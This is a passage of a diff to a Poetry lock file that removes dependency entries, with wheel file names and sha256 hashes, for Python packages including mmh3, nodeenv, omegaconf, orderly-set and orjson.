{file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b3f99e1756fc48ad507b95e5d86f2fb21b3d495012ff13e6592ebac14033f166"}, - {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:62815d2c67f2dd1be76a253d88af4e1da19aeaa1820146dec52cf8bee2958b16"}, - {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8f767ba0911602ddef289404e33835a61168314ebd3c729833db2ed685824211"}, - {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:67e41a497bac88cc1de96eeba56eeb933c39d54bc227352f8455aa87c4ca4000"}, - {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3d74a03fb57757ece25aa4b3c1c60157a1cece37a020542785f942e2f827eed5"}, - {file = "mmh3-5.2.1-cp312-cp312-win32.whl", hash = "sha256:7374d6e3ef72afe49697ecd683f3da12f4fc06af2d75433d0580c6746d2fa025"}, - {file = "mmh3-5.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:3a9fed49c6ce4ed7e73f13182760c65c816da006debe67f37635580dfb0fae00"}, - {file = "mmh3-5.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:bbfcb95d9a744e6e2827dfc66ad10e1020e0cac255eb7f85652832d5a264c2fc"}, - {file = "mmh3-5.2.1-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:723b2681ed4cc07d3401bbea9c201ad4f2a4ca6ba8cddaff6789f715dd2b391e"}, - {file = "mmh3-5.2.1-cp313-cp313-android_21_x86_64.whl", hash = "sha256:3619473a0e0d329fd4aec8075628f8f616be2da41605300696206d6f36920c3d"}, - {file = "mmh3-5.2.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e48d4dbe0f88e53081da605ae68644e5182752803bbc2beb228cca7f1c4454d6"}, - {file = "mmh3-5.2.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a482ac121de6973897c92c2f31defc6bafb11c83825109275cffce54bb64933f"}, - {file = "mmh3-5.2.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:17fbb47f0885ace8327ce1235d0416dc86a211dcd8cc1e703f41523be32cfec8"}, - {file = "mmh3-5.2.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:d51fde50a77f81330523562e3c2734ffdca9c4c9e9d355478117905e1cfe16c6"}, - {file = "mmh3-5.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:19bbd3b841174ae6ed588536ab5e1b1fe83d046e668602c20266547298d939a9"}, - {file = "mmh3-5.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:be77c402d5e882b6fbacfd90823f13da8e0a69658405a39a569c6b58fdb17b03"}, - {file = "mmh3-5.2.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:fd96476f04db5ceba1cfa0f21228f67c1f7402296f0e73fee3513aa680ad237b"}, - {file = "mmh3-5.2.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:707151644085dd0f20fe4f4b573d28e5130c4aaa5f587e95b60989c5926653b5"}, - {file = "mmh3-5.2.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3737303ca9ea0f7cb83028781148fcda4f1dac7821db0c47672971dabcf63593"}, - {file = "mmh3-5.2.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2778fed822d7db23ac5008b181441af0c869455b2e7d001f4019636ac31b6fe4"}, - {file = "mmh3-5.2.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d57dea657357230cc780e13920d7fa7db059d58fe721c80020f94476da4ca0a1"}, - {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:169e0d178cb59314456ab30772429a802b25d13227088085b0d49b9fe1533104"}, - {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7e4e1f580033335c6f76d1e0d6b56baf009d1a64d6a4816347e4271ba951f46d"}, - {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:2bd9f19f7f1fcebd74e830f4af0f28adad4975d40d80620be19ffb2b2af56c9f"}, - {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:c88653877aeb514c089d1b3d473451677b8b9a6d1497dbddf1ae7934518b06d2"}, - {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fceef7fe67c81e1585198215e42ad3fdba3a25644beda8fbdaf85f4d7b93175a"}, - {file = "mmh3-5.2.1-cp313-cp313-win32.whl", hash = "sha256:54b64fb2433bc71488e7a449603bf8bd31fbcf9cb56fbe1eb6d459e90b86c37b"}, - {file = "mmh3-5.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:cae6383181f1e345317742d2ddd88f9e7d2682fa4c9432e3a74e47d92dce0229"}, - {file = "mmh3-5.2.1-cp313-cp313-win_arm64.whl", hash = "sha256:022aa1a528604e6c83d0a7705fdef0b5355d897a9e0fa3a8d26709ceaa06965d"}, - {file = "mmh3-5.2.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:d771f085fcdf4035786adfb1d8db026df1eb4b41dac1c3d070d1e49512843227"}, - {file = "mmh3-5.2.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:7f196cd7910d71e9d9860da0ff7a77f64d22c1ad931f1dd18559a06e03109fc0"}, - {file = "mmh3-5.2.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b1f12bd684887a0a5d55e6363ca87056f361e45451105012d329b86ec19dbe0b"}, - {file = "mmh3-5.2.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:d106493a60dcb4aef35a0fac85105e150a11cf8bc2b0d388f5a33272d756c966"}, - {file = "mmh3-5.2.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:44983e45310ee5b9f73397350251cdf6e63a466406a105f1d16cb5baa659270b"}, - {file = "mmh3-5.2.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:368625fb01666655985391dbad3860dc0ba7c0d6b9125819f3121ee7292b4ac8"}, - {file = "mmh3-5.2.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:72d1cc63bcc91e14933f77d51b3df899d6a07d184ec515ea7f56bff659e124d7"}, - {file = "mmh3-5.2.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e8b4b5580280b9265af3e0409974fb79c64cf7523632d03fbf11df18f8b0181e"}, - {file = "mmh3-5.2.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4cbbde66f1183db040daede83dd86c06d663c5bb2af6de1142b7c8c37923dd74"}, - {file = "mmh3-5.2.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8ff038d52ef6aa0f309feeba00c5095c9118d0abf787e8e8454d6048db2037fc"}, - {file = "mmh3-5.2.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a4130d0b9ce5fad6af07421b1aecc7e079519f70d6c05729ab871794eded8617"}, - {file = "mmh3-5.2.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6e0bfe77d238308839699944164b96a2eeccaf55f2af400f54dc20669d8d5f2"}, - {file = "mmh3-5.2.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f963eafc0a77a6c0562397da004f5876a9bcf7265a7bcc3205e29636bc4a1312"}, - {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:92883836caf50d5255be03d988d75bc93e3f86ba247b7ca137347c323f731deb"}, - {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:57b52603e89355ff318025dd55158f6e71396c0f1f609d548e9ea9c94cc6ce0a"}, - {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f40a95186a72fa0b67d15fef0f157bfcda00b4f59c8a07cbe5530d41ac35d105"}, - {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:58370d05d033ee97224c81263af123dea3d931025030fd34b61227a768a8858a"}, - {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7be6dfb49e48fd0a7d91ff758a2b51336f1cd21f9d44b20f6801f072bd080cdd"}, - {file = "mmh3-5.2.1-cp314-cp314-win32.whl", hash = "sha256:54fe8518abe06a4c3852754bfd498b30cc58e667f376c513eac89a244ce781a4"}, - {file = "mmh3-5.2.1-cp314-cp314-win_amd64.whl", hash = "sha256:3f796b535008708846044c43302719c6956f39ca2d93f2edda5319e79a29efbb"}, - {file = "mmh3-5.2.1-cp314-cp314-win_arm64.whl", hash = "sha256:cd471ede0d802dd936b6fab28188302b2d497f68436025857ca72cd3810423fe"}, - {file = "mmh3-5.2.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:5174a697ce042fa77c407e05efe41e03aa56dae9ec67388055820fb48cf4c3ba"}, - {file = "mmh3-5.2.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:0a3984146e414684a6be2862d84fcb1035f4984851cb81b26d933bab6119bf00"}, - {file = "mmh3-5.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:bd6e7d363aa93bd3421b30b6af97064daf47bc96005bddba67c5ffbc6df426b8"}, - {file = "mmh3-5.2.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:113f78e7463a36dbbcea05bfe688efd7fa759d0f0c56e73c974d60dcfec3dfcc"}, - {file = "mmh3-5.2.1-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e8ec5f606e0809426d2440e0683509fb605a8820a21ebd120dcdba61b74ef7f"}, - {file = "mmh3-5.2.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:22b0f9971ec4e07e8223f2beebe96a6cfc779d940b6f27d26604040dd74d3a44"}, - {file = "mmh3-5.2.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:85ffc9920ffc39c5eee1e3ac9100c913a0973996fbad5111f939bbda49204bb7"}, - {file = "mmh3-5.2.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7aec798c2b01aaa65a55f1124f3405804184373abb318a3091325aece235f67c"}, - {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55dbbd8ffbc40d1697d5e2d0375b08599dae8746b0b08dea05eee4ce81648fac"}, - {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:6c85c38a279ca9295a69b9b088a2e48aa49737bb1b34e6a9dc6297c110e8d912"}, - {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:6290289fa5fb4c70fd7f72016e03633d60388185483ff3b162912c81205ae2cf"}, - {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:4fc6cd65dc4d2fdb2625e288939a3566e36127a84811a4913f02f3d5931da52d"}, - {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:623f938f6a039536cc02b7582a07a080f13fdfd48f87e63201d92d7e34d09a18"}, - {file = "mmh3-5.2.1-cp314-cp314t-win32.whl", hash = "sha256:29bc3973676ae334412efdd367fcd11d036b7be3efc1ce2407ef8676dabfeb82"}, - {file = "mmh3-5.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:28cfab66577000b9505a0d068c731aee7ca85cd26d4d63881fab17857e0fe1fb"}, - {file = "mmh3-5.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:dfd51b4c56b673dfbc43d7d27ef857dd91124801e2806c69bb45585ce0fa019b"}, - {file = "mmh3-5.2.1.tar.gz", hash = "sha256:bbea5b775f0ac84945191fb83f845a6fd9a21a03ea7f2e187defac7e401616ad"}, -] - -[package.extras] -benchmark = ["pymmh3 (==0.0.5)", "pyperf (==2.10.0)", "xxhash (==3.6.0)"] -docs = ["myst-parser (==5.0.0)", "shibuya (==2026.1.9)", "sphinx (==8.2.3)", "sphinx-copybutton (==0.5.2)"] -lint = ["actionlint-py (==1.7.11.24)", "clang-format (==22.1.0)", "codespell (==2.4.1)", "pylint (==4.0.5)", "ruff (==0.15.4)"] -plot = ["matplotlib (==3.10.8)", "pandas (==3.0.1)"] -test = ["pytest (==9.0.2)", "pytest-sugar (==1.1.1)"] -type = ["mypy (==1.19.1)"] - -[[package]] -name = "nodeenv" -version = "1.10.0" -description = "Node.js virtual environment builder" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["dev"] -files = [ - {file = "nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827"}, - {file = "nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb"}, -] - -[[package]] -name = "omegaconf" -version = "2.3.0" -description = "A flexible configuration library" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "omegaconf-2.3.0-py3-none-any.whl", hash = "sha256:7b4df175cdb08ba400f45cae3bdcae7ba8365db4d165fc65fd04b050ab63b46b"}, - {file = "omegaconf-2.3.0.tar.gz", hash = "sha256:d5d4b6d29955cc50ad50c46dc269bcd92c6e00f5f90d23ab5fee7bfca4ba4cc7"}, -] - -[package.dependencies] -antlr4-python3-runtime = "==4.9.*" -PyYAML = ">=5.1.0" - -[[package]] -name = "orderly-set" -version = "5.5.0" -description = "Orderly set" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7"}, - {file = "orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce"}, -] - -[package.extras] -coverage = ["coverage (>=7.6.0,<7.7.0)"] -dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)"] -optimize = ["orjson"] -static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)"] -test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"] - -[[package]] -name = "orjson" -version = "3.11.8" -description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -files = [ - {file = "orjson-3.11.8-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e6693ff90018600c72fd18d3d22fa438be26076cd3c823da5f63f7bab28c11cb"}, - {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93de06bc920854552493c81f1f729fab7213b7db4b8195355db5fda02c7d1363"}, - {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fe0b8c83e0f36247fc9431ce5425a5d95f9b3a689133d494831bdbd6f0bceb13"}, - {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:97d823831105c01f6c8029faf297633dbeb30271892bd430e9c24ceae3734744"}, - {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c60c0423f15abb6cf78f56dff00168a1b582f7a1c23f114036e2bfc697814d5f"}, - {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:01928d0476b216ad2201823b0a74000440360cef4fed1912d297b8d84718f277"}, - {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a4a639049c44d36a6d1ae0f4a94b271605c745aee5647fa8ffaabcdc01b69a6"}, - {file = "orjson-3.11.8-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3222adff1e1ff0dce93c16146b93063a7793de6c43d52309ae321234cdaf0f4d"}, - {file = "orjson-3.11.8-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3223665349bbfb68da234acd9846955b1a0808cbe5520ff634bf253a4407009b"}, - {file = "orjson-3.11.8-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:61c9d357a59465736022d5d9ba06687afb7611dfb581a9d2129b77a6fcf78e59"}, - {file = "orjson-3.11.8-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:58fb9b17b4472c7b1dcf1a54583629e62e23779b2331052f09a9249edf81675b"}, - {file = "orjson-3.11.8-cp310-cp310-win32.whl", hash = "sha256:b43dc2a391981d36c42fa57747a49dae793ef1d2e43898b197925b5534abd10a"}, - {file = "orjson-3.11.8-cp310-cp310-win_amd64.whl", hash = "sha256:c98121237fea2f679480765abd566f7713185897f35c9e6c2add7e3a9900eb61"}, - {file = "orjson-3.11.8-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:003646067cc48b7fcab2ae0c562491c9b5d2cbd43f1e5f16d98fd118c5522d34"}, - {file = "orjson-3.11.8-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:ed193ce51d77a3830cad399a529cd4ef029968761f43ddc549e1bc62b40d88f8"}, - {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30491bc4f862aa15744b9738517454f1e46e56c972a2be87d70d727d5b2a8f8"}, - {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6eda5b8b6be91d3f26efb7dc6e5e68ee805bc5617f65a328587b35255f138bf4"}, - {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee8db7bfb6fe03581bbab54d7c4124a6dd6a7f4273a38f7267197890f094675f"}, - {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5d8b5231de76c528a46b57010bbd83fb51e056aa0220a372fd5065e978406f1c"}, - {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:58a4a208a6fbfdb7a7327b8f201c6014f189f721fd55d047cafc4157af1bc62a"}, - {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f8952d6d2505c003e8f0224ff7858d341fa4e33fef82b91c4ff0ef070f2393c"}, - {file = "orjson-3.11.8-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0022bb50f90da04b009ce32c512dc1885910daa7cb10b7b0cba4505b16db82a8"}, - {file = "orjson-3.11.8-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:ff51f9d657d1afb6f410cb435792ce4e1fe427aab23d2fcd727a2876e21d4cb6"}, - {file = "orjson-3.11.8-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:6dbe9a97bdb4d8d9d5367b52a7c32549bba70b2739c58ef74a6964a6d05ae054"}, - {file = "orjson-3.11.8-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a5c370674ebabe16c6ccac33ff80c62bf8a6e59439f5e9d40c1f5ab8fd2215b7"}, - {file = "orjson-3.11.8-cp311-cp311-win32.whl", hash = "sha256:0e32f7154299f42ae66f13488963269e5eccb8d588a65bc839ed986919fc9fac"}, - {file = "orjson-3.11.8-cp311-cp311-win_amd64.whl", hash = "sha256:25e0c672a2e32348d2eb33057b41e754091f2835f87222e4675b796b92264f06"}, - {file = "orjson-3.11.8-cp311-cp311-win_arm64.whl", hash = "sha256:9185589c1f2a944c17e26c9925dcdbc2df061cc4a145395c57f0c51f9b5dbfcd"}, - {file = "orjson-3.11.8-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1cd0b77e77c95758f8e1100139844e99f3ccc87e71e6fc8e1c027e55807c549f"}, - {file = "orjson-3.11.8-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:6a3d159d5ffa0e3961f353c4b036540996bf8b9697ccc38261c0eac1fd3347a6"}, - {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76070a76e9c5ae661e2d9848f216980d8d533e0f8143e6ed462807b242e3c5e8"}, - {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:54153d21520a71a4c82a0dbb4523e468941d549d221dc173de0f019678cf3813"}, - {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:469ac2125611b7c5741a0b3798cd9e5786cbad6345f9f400c77212be89563bec"}, - {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14778ffd0f6896aa613951a7fbf4690229aa7a543cb2bfbe9f358e08aafa9546"}, - {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea56a955056a6d6c550cf18b3348656a9d9a4f02e2d0c02cabf3c73f1055d506"}, - {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53a0f57e59a530d18a142f4d4ba6dfc708dc5fdedce45e98ff06b44930a2a48f"}, - {file = "orjson-3.11.8-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9b48e274f8824567d74e2158199e269597edf00823a1b12b63d48462bbf5123e"}, - {file = "orjson-3.11.8-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:3f262401086a3960586af06c054609365e98407151f5ea24a62893a40d80dbbb"}, - {file = "orjson-3.11.8-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8e8c6218b614badf8e229b697865df4301afa74b791b6c9ade01d19a9953a942"}, - {file = "orjson-3.11.8-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:093d489fa039ddade2db541097dbb484999fcc65fc2b0ff9819141e2ab364f25"}, - {file = "orjson-3.11.8-cp312-cp312-win32.whl", hash = "sha256:e0950ed1bcb9893f4293fd5c5a7ee10934fbf82c4101c70be360db23ce24b7d2"}, - {file = "orjson-3.11.8-cp312-cp312-win_amd64.whl", hash = "sha256:3cf17c141617b88ced4536b2135c552490f07799f6ad565948ea07bef0dcb9a6"}, - {file = "orjson-3.11.8-cp312-cp312-win_arm64.whl", hash = "sha256:48854463b0572cc87dac7d981aa72ed8bf6deedc0511853dc76b8bbd5482d36d"}, - {file = "orjson-3.11.8-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3f23426851d98478c8970da5991f84784a76682213cd50eb73a1da56b95239dc"}, - {file = "orjson-3.11.8-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:ebaed4cef74a045b83e23537b52ef19a367c7e3f536751e355a2a394f8648559"}, - {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:97c8f5d3b62380b70c36ffacb2a356b7c6becec86099b177f73851ba095ef623"}, - {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:436c4922968a619fb7fef1ccd4b8b3a76c13b67d607073914d675026e911a65c"}, - {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1ab359aff0436d80bfe8a23b46b5fea69f1e18aaf1760a709b4787f1318b317f"}, - {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f89b6d0b3a8d81e1929d3ab3d92bbc225688bd80a770c49432543928fe09ac55"}, - {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:29c009e7a2ca9ad0ed1376ce20dd692146a5d9fe4310848904b6b4fee5c5c137"}, - {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:705b895b781b3e395c067129d8551655642dfe9437273211d5404e87ac752b53"}, - {file = "orjson-3.11.8-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:88006eda83858a9fdf73985ce3804e885c2befb2f506c9a3723cdeb5a2880e3e"}, - {file = "orjson-3.11.8-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:55120759e61309af7fcf9e961c6f6af3dde5921cdb3ee863ef63fd9db126cae6"}, - {file = "orjson-3.11.8-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98bdc6cb889d19bed01de46e67574a2eab61f5cc6b768ed50e8ac68e9d6ffab6"}, - {file = "orjson-3.11.8-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:708c95f925a43ab9f34625e45dcdadf09ec8a6e7b664a938f2f8d5650f6c090b"}, - {file = "orjson-3.11.8-cp313-cp313-win32.whl", hash = "sha256:01c4e5a6695dc09098f2e6468a251bc4671c50922d4d745aff1a0a33a0cf5b8d"}, - {file = "orjson-3.11.8-cp313-cp313-win_amd64.whl", hash = "sha256:c154a35dd1330707450bb4d4e7dd1f17fa6f42267a40c1e8a1daa5e13719b4b8"}, - {file = "orjson-3.11.8-cp313-cp313-win_arm64.whl", hash = "sha256:4861bde57f4d253ab041e374f44023460e60e71efaa121f3c5f0ed457c3a701e"}, - {file = "orjson-3.11.8-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:ec795530a73c269a55130498842aaa762e4a939f6ce481a7e986eeaa790e9da4"}, - {file = "orjson-3.11.8-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c492a0e011c0f9066e9ceaa896fbc5b068c54d365fea5f3444b697ee01bc8625"}, - {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:883206d55b1bd5f5679ad5e6ddd3d1a5e3cac5190482927fdb8c78fb699193b5"}, - {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5774c1fdcc98b2259800b683b19599c133baeb11d60033e2095fd9d4667b82db"}, - {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ac7381c83dd3d4a6347e6635950aa448f54e7b8406a27c7ecb4a37e9f1ae08b"}, - {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14439063aebcb92401c11afc68ee4e407258d2752e62d748b6942dad20d2a70d"}, - {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fa72e71977bff96567b0f500fc5bfd2fdf915f34052c782a4c6ebbdaa97aa858"}, - {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7679bc2f01bb0d219758f1a5f87bb7c8a81c0a186824a393b366876b4948e14f"}, - {file = "orjson-3.11.8-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14f7b8fcb35ef403b42fa5ecfa4ed032332a91f3dc7368fbce4184d59e1eae0d"}, - {file = "orjson-3.11.8-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c2bdf7b2facc80b5e34f48a2d557727d5c5c57a8a450de122ae81fa26a81c1bc"}, - {file = "orjson-3.11.8-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ccd7ba1b0605813a0715171d39ec4c314cb97a9c85893c2c5c0c3a3729df38bf"}, - {file = "orjson-3.11.8-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cdbc8c9c02463fef4d3c53a9ba3336d05496ec8e1f1c53326a1e4acc11f5c600"}, - {file = "orjson-3.11.8-cp314-cp314-win32.whl", hash = "sha256:0b57f67710a8cd459e4e54eb96d5f77f3624eba0c661ba19a525807e42eccade"}, - {file = "orjson-3.11.8-cp314-cp314-win_amd64.whl", hash = "sha256:735e2262363dcbe05c35e3a8869898022af78f89dde9e256924dc02e99fe69ca"}, - {file = "orjson-3.11.8-cp314-cp314-win_arm64.whl", hash = "sha256:6ccdea2c213cf9f3d9490cbd5d427693c870753df41e6cb375bd79bcbafc8817"}, - {file = 